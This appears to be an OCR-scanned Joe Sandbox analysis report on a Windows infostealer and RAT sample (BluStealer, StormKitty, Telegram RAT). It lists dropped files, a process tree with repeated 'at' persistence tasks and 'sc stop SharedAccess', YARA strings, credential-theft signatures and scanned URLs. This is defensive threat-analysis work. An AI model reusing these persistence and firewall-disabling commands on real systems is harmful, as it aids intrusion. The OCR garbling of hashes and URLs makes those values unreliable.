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Created / dropped Files
C:\ProgramData\Microsoft\Network\Downloader\gmgr.db
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\cmsys[1].htm
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\what-happened-to-the-old-zxqg-website[1].htm
C:\Users\user\AppData\Local\Temp\~DF01383C41703FF854.TMP
C:\Users\user\AppData\Local\Temp\~DFOED405DEDEDD664C.TMP
C:\Users\user\AppData\Local\Temp\~DF5EF9070E9B8F5CB4.TMP
C:\Users\user\AppData\Local\Temp\~DF6E4F50B397B92863.TMP
C:\Users\user\AppData\Local\Temp\~DFC593752C91BD8E2F.TMP
C:\Users\user\AppData\Local\Temp\~DFD29C7DB29EE1E840.TMP
C:\Users\user\AppData\Local\icsys.icn.exe
C:\Users\user\AppData\Local\stsys.exe
C:\Users\user\AppData\Roaming\mrsys.exe
C:\Users\user\Desktop\lg3gn9ylcj.exe
C:\Windows\Logs\waasmedic\waasmedic.20220805_070938_705.etl
C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
C:\Windows\System\cmsys.cmn
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Analysis Process: conhost.exePID: 3340, Parent PID: 5656 91
General 91
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Analysis Process:
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Analysis Process:
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General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Analysis Process:

General

Disassembly

conhost.exePID: 1560, Parent PID: 5128
at.exePID: 1520, Parent PID: 244
conhost.exePID: 5264, Parent PID: 1520
at.exePID: 1756, Parent PID: 244
conhost.exePID: 380, Parent PID: 1756
at.exePID: 1100, Parent PID: 244
svchost.exePID: 2236, Parent PID: 564
conhost.exePID: 5752, Parent PID: 1100
at.exePID: 5160, Parent PID: 244
conhost.exePID: 4764, Parent PID: 5160
at.exePID: 6060, Parent PID: 244
svchost.exePID: 5184, Parent PID: 564
conhost.exePID: 4316, Parent PID: 6060
at.exePID: 5868, Parent PID: 244
svchost.exePID: 3032, Parent PID: 564
conhost.exePID: 5144, Parent PID: 5868
svchost.exePID: 2956, Parent PID: 564
at.exePID: 6112, Parent PID: 244
explorer.exePID: 1564, Parent PID: 3616
conhost.exePID: 5500, Parent PID: 6112
at.exePID: 2872, Parent PID: 244
conhost.exePID: 240, Parent PID: 2872
svchost.exePID: 5652, Parent PID: 564
at.exePID: 5200, Parent PID: 244
conhost.exePID: 3856, Parent PID: 5200
at.exePID: 5064, Parent PID: 244
conhost.exePID: 4508, Parent PID: 5064
at.exePID: 5140, Parent PID: 244
svchost.exePID: 5484, Parent PID: 564
svchost.exePID: 5008, Parent PID: 564
conhost.exePID: 5812, Parent PID: 5140
at.exePID: 3816, Parent PID: 244
conhost.exePID: 6148, Parent PID: 3816
at.exePID: 6172, Parent PID: 244
conhost.exePID: 6244, Parent PID: 6172
svchost.exePID: 6308, Parent PID: 3616
at.exePID: 6384, Parent PID: 244
sc.exePID: 6400, Parent PID: 244
conhost.exePID: 6408, Parent PID: 6384
sc.exePID: 6416, Parent PID: 244

conhost.exePID: 6424, Parent PID: 6400
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Windows Analysis Report
Lg3gn9y1Cj.exe
Overview

General Information Detection Signatures Classification

Sample Lg3gn9y1Cj.exe
Name: MALICIOUS

Analysis ID: 679096

Potential malicious icon found

Yara detected BluStealer

MDS: 45061e4dag41c2. System process connects to networ...
SHAL: €b68218¢1d70f3.. Detected CryptOne packer
SHA256: 6731f235ff78e22.. Antivirus detection for dropped file
Tags:

£ Multi AV Scanner detection for subm...
Infos: ﬁ E Q ;1‘ ;e

- Malicious sample detected (through...

Yara detected Telegram RAT

AR CryptOne, BluStealer,
LH-] g
a2 ; StormKltty Antivirus / Scanner detection for sub...
L3 | .
A Range: 0-100 Yara detected StormKitty Stealer
LFL Whitelisted: false Multi AV Scanner detection for drop...
]
Confidence: 100%
]
a

Tries to steal Mail credentials (via fi...

2]
2
a

Process Tree

= System is w10x64
e [ Lg3gn9ylCj.exe (PID: 5744 cmdline: "C:\Users\user\Desktop\Lg3gn9y1Cj.exe" MD5: 45061E4DA841C2587D0890148705A142)
e [ lg3gn9ylcj.exe (PID: 4392 cmdline: c:\users\user\desktop\lg3gn9ylcj.exe MD5: BEE47439C4960E2728594ECE9ADI5BA7)
e [E1 AppLaunch.exe (PID: 5840 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 6807F903AC06FF7E1670181378690B22)
e [ icsys.cn.exe (PID: 5032 cmdline: C:\Users\user\AppData\Local\icsys.icn.exe MD5: 4223968DA579570E05813854A134397B)
e [ explorer.exe (PID: 5300 cmdline: c:\windows\system\explorer.exe MD5: A6F18E47BFFD6F5C4AA28B67644DBDBE)
e [ spoolsv.exe (PID: 6024 cmdline: c:\windows\system\spoolsv.exe SE MD5: 3BA9E53239D4DCA948B4BFCBB08D7F34)
e [ svchost.exe (PID: 244 cmdline: c:\windows\system\svchost.exe MD5: B61A3DA9B4DB4644497B9CC1BE87515F)

e [ spoolsv.exe (PID: 404 cmdline: c:\windows\system\spoolsv.exe PR MD5: 3BA9E53239D4DCA948B4BFCBB08D7F34)

e (B atexe (PID: 5656 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADCY)
. conhost.exe (PID: 3340 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e (B atexe (PID: 1016 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADCY)
. conhost.exe (PID: 5132 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e (B atexe (PID: 5128 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADCY)
. conhost.exe (PID: 1560 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

o [E1 atexe (PID: 1520 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADCY)
. conhost.exe (PID: 5264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

o [E1 atexe (PID: 1756 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADCY)
. conhost.exe (PID: 380 cmdline: C:\Windows\system32\conhost.exe 0Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e (B atexe (PID: 1100 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADCY)
. conhost.exe (PID: 5752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e W' atexe (PID:5160 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADC9)
. conhost.exe (PID: 4764 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e W' atexe (PID: 6060 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADC9)
. conhost.exe (PID: 4316 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e W' atexe (PID:5868 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADC9)
. conhost.exe (PID: 5144 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e W' atexe(PID: 6112 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADC9)
. conhost.exe (PID: 5500 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e W' atexe (PID: 2872 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADC9)
. conhost.exe (PID: 240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e W' atexe (PID: 5200 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADC9)
. conhost.exe (PID: 3856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e W' atexe (PID: 5064 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADC9)
. conhost.exe (PID: 4508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e W' atexe (PID: 5140 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADC9)
. conhost.exe (PID: 5812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
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e [ atexe (PID: 3816 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADCY)

conhost.exe (PID: 6148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e [ atexe (PID: 6172 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADCY)
. conhost.exe (PID: 6244 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e [ atexe (PID: 6384 cmdline: at 09:11 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe MD5: 6E495479C0213E98C8141C75807AADC9)
. conhost.exe (PID: 6408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

.

sc.exe (PID: 6400 cmdline: sc stop SharedAccess MD5: 24A3E2603E63BCB9695A2935D3B24695)

. conhost.exe (PID: 6424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ sc.exe (PID: 6416 cmdline: sc config Schedule start= auto MD5: 24A3E2603E63BCB9695A2935D3B24695)
C:\Windows\System32\svchost.exe -k Local SystemNetworkRestricted -p -s NchService MD5: 32569E403279B3FD2EDB7EBD036273FA)
c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)
C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
"C:\windows\system\explorer.exe" RO MD5: A6F18E47BFFD6F5C4AA28B67644DBDBE)
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)
C:\Windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsve MD5: 32569E403279B3FD2EDB7EBD036273FA)
"C:\windows\system\svchost.exe" RO MD5: B61A3DA9B4DB4644497B9CC1BE87515F)

svchost.exe (PID: 2960 cmdline:
svchost.exe (PID: 2236 cmdline:
svchost.exe (PID: 5184 cmdline:
svchost.exe (PID: 3032 cmdline:
svchost.exe (PID: 2956 cmdline:
explorer.exe (PID: 1564 cmdline:
svchost.exe (PID: 5652 cmdline:
svchost.exe (PID: 5484 cmdline:
svchost.exe (PID: 5008 cmdline:
svchost.exe (PID: 6308 cmdline:
= cleanup

o

Malware Configuration

@ No configs have been found

Yara Signatures

Initial Sample

Source

Lg3gn9y1Cij.exe

Dropped Files

Source

C:\Users\user\Desktop\lg3gn9y1lcj.exe

Memory Dumps

Source

Rule

MALWARE_Win_
A310Logger

Rule

MALWARE_Win_
A310Logger

Rule

00000002.00000000.265995360.0000000005322000.00000  Quasar_RAT_1

040.00000400.00020000.00000000.sdmp

00000002.00000000.265995360.0000000005322000.00000  JoeSecurity_Teleg

040.00000400.00020000.00000000.sdmp

ramRAT

00000002.00000000.265995360.0000000005322000.00000  JoeSecurity_Storm

040.00000400.00020000.00000000.sdmp

Copyright Joe Security LLC 2022

Kitty

Description

Detects
A310Logger

Description

Detects
A310Logger

Description

Detects Quasar
RAT

Yara detected
Telegram RAT

Yara detected
StormKitty Stealer

Author

ditekSHen

Author

ditekSHen

Author

Florian Roth

Joe Security

Joe Security

Strings

e o o o o o o

0x5c44e:$s1: Temporary Directory * for

Ox5c4aa:$s2: HKCU\SOFTWARE\Microsoft\Windows\Cur
rentVersion\RunOnce\*RD_

0x5bf2e:$s6: Content-Disposition: form-data; name="doc
ument"; filename="

0x5c3ce:$s7: CopyHere

0x5c396:$s9: shell.application

0x5c3fa:$s9: Shell. Application

0x5c08e:$s10: SetRequestHeader

0x5c55a:$s12: @TITLE Removing

0x5c592:$s13: @RD /S /Q "

0x9db8:$v1_2: AddAttachment

Strings

.

.

e o o o o o

0x17b14:$s1: Temporary Directory * for

0x17b70:$s2: HKCU\SOFTWARE\Microsoft\Windows\Cu
rrentVersion\RunOnce\*RD_

0x175f4:$s6: Content-Disposition: form-data; name="doc
ument"; filename="

0x17a94:$s7: CopyHere

0x17a5c:$s9: shell.application

0x17ac0:$s9: Shell.Application

0x17754:$s10: SetRequestHeader

0x17¢20:$s12: @TITLE Removing

0x17¢58:$s13: @RD /S /Q "

Strings

.
.
.
.

0x327c:$opl: 04 1E FE 02 04 16 FE 01 60
0x316c:$0p2: 00 17 03 1F 20 17 19 15 28
0x3c02:$0p3: 00 04 03 69 91 1B 40
0x4452:$0p3: 00 04 03 69 91 1B 40
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Source

00000002.00000000.265995360.0000000005322000.00000
040.00000400.00020000.00000000.sdmp

00000002.00000002.277724010.000000000733B000.00000
004.00000800.00020000.00000000.sdmp

Unpacked PEs

Source

1.0.lg3gn9y1cj.exe .400000.0.unpack

1.2.1g3gn9y1cj.exe .2b40000.1.unpack

1.2.lg3gn9y1cj.exe .2b40000.1.unpack

1.2.1g3gn9y1cj.exe .2b40000.1.unpack

1.2.lg3gn9y1cj.exe .2b40000.1.unpack

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

AV Detection

Antivirus detection for dropped file
Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for dropped file

Rule

JoeSecurity_Crede
ntialStealer

JoeSecurity_Crede
ntialStealer

Description Author
Yara detected Joe Security
Credential Stealer

Yara detected Joe Security

Credential Stealer

Click to see the 16 entries

Rule

MALWARE_Win_
A310Logger

Quasar_RAT_1

JoeSecurity_Teleg
ramRAT

JoeSecurity_Gene
ricDownloader_1

JoeSecurity_Storm
Kitty

Description Author
Detects ditekSHen
A310Logger

Detects Quasar Florian Roth

RAT

Yara detected
Telegram RAT

Joe Security

Yara detected
Generic
Downloader

Joe Security

Yara detected
StormKitty Stealer

Joe Security

Click to see the 11 entries

Strings

Strings

e 0x17b14:$s1: Temporary Directory * for

e 0x17b70:$s2: HKCU\SOFTWAREMicrosoft\Windows\Cu
rrentVersion\RunOnce\*RD_

e 0x175f4:$s6: Content-Disposition: form-data; name="doc
ument"; filename="

e 0x17a94:$s7: CopyHere

e 0x17a5c:$s9: shell.application

e 0x17ac0:$s9: Shell.Application

e 0x17754:$s10: SetRequestHeader

e 0x17c20:$s12: @TITLE Removing

e 0x17c58:$s13: @RD/S/Q "

e 0x347c:$opl: 04 1E FE 02 04 16 FE 01 60
e 0x336¢:$0p2: 00 17 03 1F 20 17 19 15 28
e 0x3e02:$0p3: 00 04 03 69 91 1B 40

e 0x4652:$0p3: 00 04 03 69 91 1B 40

Machine Learning detection for sample

Machine Learning detection for dropped file

Networking

System process connects to network (likely due to code injection or exploit)

May check the online IP address of the machine

Copyright Joe Security LLC 2022
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Yara detected Generic Downloader

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

System Summary

Potential malicious icon found

Malicious sample detected (through community Yara rule)

PE file has a writeable .text section

Data Obfuscation

Detected CryptOne packer

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Drops PE files with benign system names

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Creates an undocumented autostart registry key

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

HIPS / PFW / Operating System Protection Evasion

fipom
ol

System process connects to network (likely due to code injection or exploit)

Allocates memory in foreign processes
Injects a PE file into a foreign processes

Writes to foreign memory regions

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Stealing of Sensitive Information

Yara detected BluStealer
Yara detected Telegram RAT

Yara detected StormKitty Stealer

Tries to steal Mail credentials (via file / registry access)
Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Remote Access Functionality

Yara detected BluStealer

Yara detected Telegram RAT
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ra detected StormKitty Stealer
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Signature
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Screenshots
Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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in  IPKGELNTQY

B B

LSBIHQFDVT

Home

Share

View

4 | # » Quickaccess

# Quick access
I Desktop
& Downloads
| Documents
&1 Pictures
[ This PC
B 3D Objects
[ Desktop
£| Documents
& Downloads
J Music
&= Pictures
Videos
&, Local Disk (C)

¥ Network

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source
Lg3gn9y1Cj.exe
Lg3gn9y1Cj.exe

Lg3gn9y1Cj.exe

Lg3gn9y1Cj.exe

Dropped Files

Source

C:\Users\user\AppData\Local\icsys.icn.exe

C:\Users\user\Desktop\lg3gn9y1lcj.exe

C:\Windows\System\svchost.exe
C:\Windows\System\spoolsv.exe
C:\Users\user\AppData\Roaming\mrsys.exe

C:\Windows\System\explorer.exe
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 Frequent folders (4)

Desktop

m This PC

Decuments
This PC

~ Recent files (0)

After you've opened some files, we'll show the most recent ones here.

Downloads
& This PC

Pictures
This PC

Detection

87%

100%

100%

100%

Detection

100%

100%

100%

100%

100%

100%

Scanner

Virustotal

ReversingLabs

Avira

Joe Sandbox ML

Scanner

Avira

Avira

Avira

Avira

Avira

Avira

Label

Win32.Trojan.Swis
yn

TR/Patched.Ren.G
en

Label

TR/Patched.Ren.G
en

TR/Dropper.Gen

TR/Patched.Ren.G
en

TR/Patched.Ren.G
en

TR/Patched.Ren.G
en

TR/Patched.Ren.G
en

Link

Browse

Link
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https://www.virustotal.com/gui/file/6731f235ff78e22e5a0f1503542926bb707a95251b8cbd22c56fbd7fc5a8cbbf/detection/f-6731f235ff78e22e5a0f1503542926bb707a95251b8cbd22c56fbd7fc5a8cbbf-1659658983

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\stsys.exe 100% Avira TR/Patched.Ren.G
en
C:\Users\user\AppData\Local\icsys.icn.exe 100% Joe Sandbox ML
C:\Users\user\Desktop\lg3gn9y1lcj.exe 100% Joe Sandbox ML
C:\Windows\System\svchost.exe 100% Joe Sandbox ML
C:\Windows\System\spoolsv.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Roaming\mrsys.exe 100% Joe Sandbox ML
C:\Windows\System\explorer.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\stsys.exe 100% Joe Sandbox ML
C:\Users\user\Desktop\lg3gn9y1lcj.exe 26% Metadefender Browse
C:\Users\user\Desktop\lg3gn9ylcj.exe 92% ReversingLabs Win32.Infostealer.
BluStealer

Unpacked PE Files

Source Detection Scanner Label Link Download

9.0.spoolsv.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

52.2.svchost.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

1.0.lg3gn9y1cj.exe .400000.0.unpack 100% Avira TR/Dropper.Gen Download File

9.2.spoolsv.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

1.2.Ig3gn9y1cj.exe .400000.0.unpack 100% Avira TR/Dropper.Gen Download File

7.2.spoolsv.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

34.2.explorer.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

4.0.icsys.icn.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

4.2.icsys.icn.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.2.Lg3gn9y1Cj.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

52.0.svchost.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

5.2.explorer.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

5.0.explorer.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.2.svchost.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.0.Lg3gn9y1Cj.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

34.0.explorer.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.0.svchost.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

7.0.spoolsv.exe.400000.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

Domains

Source Detection Scanner Label Link

zxq.net 0% Virustotal Browse

veemd01.zxq.net 1% Virustotal Browse

64.89.4.0.in-addr.arpa 0% Virustotal Browse

veemd03.googlecode.com 0% Virustotal Browse

URLs

Source Detection Scanner Label Link

hitp:/fvccmd03.googlecode.com/files/cmsys.gif 0% URL Reputation safe

http://https://zxq.net/wp-content/uploads/2022/02/ZXQ-FB.png 0% Avira URL Cloud safe

hitp:/f https://zxq.net/privacy-policy/ 0% Avira URL Cloud safe

http://https://zxq.net/what-happened-to-the-old-zxg-website/#breadcrumb 0% Avira URL Cloud safe
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https://www.metadefender.com/#!/results/file/bzIyMDcxNkxiLVF1LWJYVlhvY0pkWXVObnU/regular/analysis
https://www.virustotal.com/gui/url/fa6a9dd6687fc47599cdbeed890bc131b9bf19d468d77ef5189b4045c9d16238/detection/u-fa6a9dd6687fc47599cdbeed890bc131b9bf19d468d77ef5189b4045c9d16238-1654873805
https://www.virustotal.com/gui/url/88eefe5f036b2b9e43d9ad329e2c01eab827252ffd6d1f7c0b065647871b1e2f/detection/u-88eefe5f036b2b9e43d9ad329e2c01eab827252ffd6d1f7c0b065647871b1e2f-1659260699
https://www.virustotal.com/gui/url/bb24990b4f370fea4ae21c5d0d29830eb159f24e72055de4e2c70fe7ebdca971/detection/u-bb24990b4f370fea4ae21c5d0d29830eb159f24e72055de4e2c70fe7ebdca971-1586638740
https://www.virustotal.com/gui/url/557e7ff6591fb8aa97add1ee2b2d9596635cb54e677d19ff0a6670c52ab73fe8/detection/u-557e7ff6591fb8aa97add1ee2b2d9596635cb54e677d19ff0a6670c52ab73fe8-1638925719

Source Detection Scanner Label Link

http://https://zxq.net/these-are-the-injured-you-may-suffer-in-a-bicycle-accident/ 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/07/What-is-the-Best-Way-to-Learn-Golang-450x280.png 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/07/What-is-the-Best-Way-to-Learn-Golang-1024x637.png 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/02/ZXQ.png 0% Avira URL Cloud safe
http://https://zxq.net/about-us/ 0% Avira URL Cloud safe
http://https://zxq.net/the-future-of-cryptocurrency-is-it-time-to-get-your-crypto-license-in-europe/ 0% Avira URL Cloud safe
http://https://zxq.net/cmsys.gif 0% Avira URL Cloud safe
http://https://zxq.net/#logo 0% Avira URL Cloud safe
http://https://zxq.net/what-happened-to-the-old-zxg-website/ 0% Avira URL Cloud safe
http:// https://zxq.net/wp-content/uploads/2022/07/Why-Y ou-Should-Seek-An-Uber-Or-Lyft-Accident- 0% Avira URL Cloud safe
Lawyer-01-76

http://https://zxq.net/news/technology/ 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/themes/smart-mag/js/jquery.sticky-sidebar.js?ver=7.1.1 0% Avira URL Cloud safe
http://https://zxq.net/wp-json/ 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/07/Reasons-to-Hire-a-Truck-Accident-Attorney-01- 0% Avira URL Cloud safe
768x432.jpeg

http://https://zxq.net/wp-content/uploads/2022/07/Best-Mothers-Day-Gifts-of-2022-for-Every-Mom-01- 0% Avira URL Cloud safe
450x253.j

http://https://zxq.net/wp-content/uploads/2022/07/Reasons-to-Hire-a-Truck-Accident-Attorney-01- 0% Avira URL Cloud safe
450x253.jpeg

http://https://zxq.net/wp-content/uploads/2022/07/What-is-the-Best-Way-to-Learn-Golang-300x187.png 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/07/What-is-the-Best-Way-to-Learn-Golang-768x478.png 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/07/How-To-.png 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/plugins/table-of-contents-plus/front.min.js?ver=2106 0% Avira URL Cloud safe
http://crl.ver) 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/07/How-To--1024x609.png 0% Avira URL Cloud safe
http://https://zxq.net/why-you-should-seek-an-uber-or-lyft-accident-lawyer/ 0% Avira URL Cloud safe
http:// https://zxq.net/wp-content/uploads/2022/07/Why-Y ou-Should-Seek-An-Uber-Or-Lyft-Accident- 0% Avira URL Cloud safe
Lawyer-01-45

http://https://zxq.net/reasons-to-hire-a-truck-accident-attorney/ 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/07/Reasons-to-Hire-a-Truck-Accident-Attorney-01- 0% Avira URL Cloud safe
300x169.jpeg

http://https://%s.xboxlive.com 0% URL Reputation safe
http://https://zxq.net/wp-content/uploads/2022/07/Online-Shopping-Tips-During-Covid-01-150x84.jpeg 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/plugins/table-of-contents-plus/screen.min.css?ver=2106 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/07/What-is-the-Best-Way-to-Learn-Golang-150x93.png 0% Avira URL Cloud safe
http://https://zxq.net/?s= 0% Avira URL Cloud safe
http://https://zxq.net/how-to-find-an-investor-for-your-business/ 0% Avira URL Cloud safe
http://https://zxq.net/what-happened-to-the-old-zxg-website/; 0% Avira URL Cloud safe
http:// https://zxq.net/wp-content/uploads/2022/07/These-Are-The-Injured-You-May-Suffer-in-a-Bicycle- 0% Avira URL Cloud safe
Acciden

http://https://dynamic.t 0% URL Reputation safe
http://https://zxq.net/what-happened-to-the-old-zxg-website/#webpage 0% Avira URL Cloud safe
http://https://zxq.net/news/entertainment/ 0% Avira URL Cloud safe
http://https://zxq.net/wp-includes/wiwmanifest.xml 0% Avira URL Cloud safe
http:ifhttps://zxq.net/wp-content/uploads/2022/03/follow-us-on-google-news-banner-black-300x117.png 0% Avira URL Cloud safe
http:{fhttps://zxq.net/wp-content/uploads/2022/07/Best-Mothers-Day-Gifts-of-2022-for-Every-Mom-01- 0% Avira URL Cloud safe
150x84.jp

http:ifhttps://zxq.net/wp-content/uploads/2022/07/How-To--1200x714.png 0% Avira URL Cloud safe
http:{fhttps://zxq.net/wp-content/uploads/2022/07/Reasons-to-Hire-a-Truck-Accident-Attorney-01.jpeg 0% Avira URL Cloud safe
http:ifhttps://zxq.net/write-for-us/ 0% Avira URL Cloud safe
http://https://zxq.net/what-is-the-best-way-to-learn-golang/ 0% Avira URL Cloud safe
http://https://zxq.net/#organization 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/themes/smart-mag/css/icons/fonts/ts-icons.woff2?v2.2 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/03/follow-us-on-google-news-banner-black.png 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/07/What-is-the-Best-Way-to-Learn-Golang-1200x747.png 0% Avira URL Cloud safe
http://https://zxq.net/news/business/ 0% Avira URL Cloud safe
http://icanhazip.com4 0% Avira URL Cloud safe
http://https://zxq.net/wp-content/uploads/2022/07/Best-Mothers-Day-Gifts-of-2022-for-Every-Mom-01- 0% Avira URL Cloud safe
300x169.j

http://https://zxq.net/wp-content/uploads/2022/07/The-Future-of-Cryptocurrency-Is-it-Time-to-Get-Your- 0% Avira URL Cloud safe
Crypt
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Source Detection Scanner Label Link

http://https://zxq.net/what-happened-to-the-old-zxg-website/ne 0% Avira URL Cloud safe
